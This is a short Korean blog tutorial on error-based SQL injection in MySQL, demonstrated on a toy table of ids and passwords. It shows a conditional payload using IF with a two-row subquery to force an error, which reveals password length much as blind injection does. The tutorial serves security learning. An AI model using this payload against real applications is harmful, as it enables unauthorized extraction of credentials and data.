Hacking/Web.

Error Based SQLi

2017. 1. 20. 01:44

Error Based SQLi

 - H3X0R, s1ipper 팀 소속 윤석찬(ch4n3)



에러 기반 sqli 는 꽤 강력하다고 생각한다. blind sqli 보다 더 적은 쿼리로 더 많은 정보를 얻을 수 있다고 생각한다. 


뭐, 구글링하다보면 많이 보이겠지만, 여기서는 내가 본 쿼리 중 가장 신기하고 아름다웠던 쿼리를 소개해보려 한다. 



mysql> select * from test;

+-------+--------+

| id        | pw     |

+-------+--------+

| admin | ad1234 |

| guest | gu1234 |

+-------+--------+

2 rows in set (0.00 sec)



이 쿼리는 test에서 정보들을 갖고 오는 아주 간단한 쿼리이다. 



이 테이블에서 error based sqli 를 실습해볼 것이다. 




mysql> SELECT * FROM test WHERE id='admin' AND IF(LENGTH(pw)>1, 1, (SELECT 1 union select 2));

+-------+--------+

| id    | pw     |

+-------+--------+

| admin | ad1234 |

+-------+--------+

1 row in set (0.00 sec)


mysql> 



이 쿼리는 테이블에서 admin 이라는 id를 찾고,
(if)만약 그 pw값이 1이 넘는다면 1을 출력하고, 
                              1이 넘지 않는다면 (select 1 union select 2) 

대충 이런 쿼리인데 여기서 



 IF(LENGTH(pw)>1, 1, (SELECT 1 union select 2)) 


IF문의 조건이 맞지 않다면 위의 오류가 나는 서브쿼리를 실행하게 된다. 




mysql> SELECT * FROM test WHERE id='admin' AND IF(LENGTH(pw)>10, 1, (SELECT 1 union select 2));

ERROR 1242 (21000): Subquery returns more than 1 row


그래서 이런 쿼리를 실행하면 에러값이 나온다. 


그래서 Blind SQLi같은 Error Based SQL Injection을 사용할 수 있게 된다. 



설명을 개똥같이 하긴 했지만, 이해할 사람들은 했다고 믿는다..ㅜㅜ 





'Hacking > Web.' 카테고리의 다른 글

MySQL procedure analyze()를 이용한 SQLi  (0) 2017.01.22
Blind SQL Injection 시 테이블 수  (0) 2017.01.22
SQLi 문자열 비교(?)  (0) 2017.01.12
[SQLi] like 비교에서의 blind injection  (0) 2016.12.17
[SQL injection] _(언더바)  (0) 2016.12.17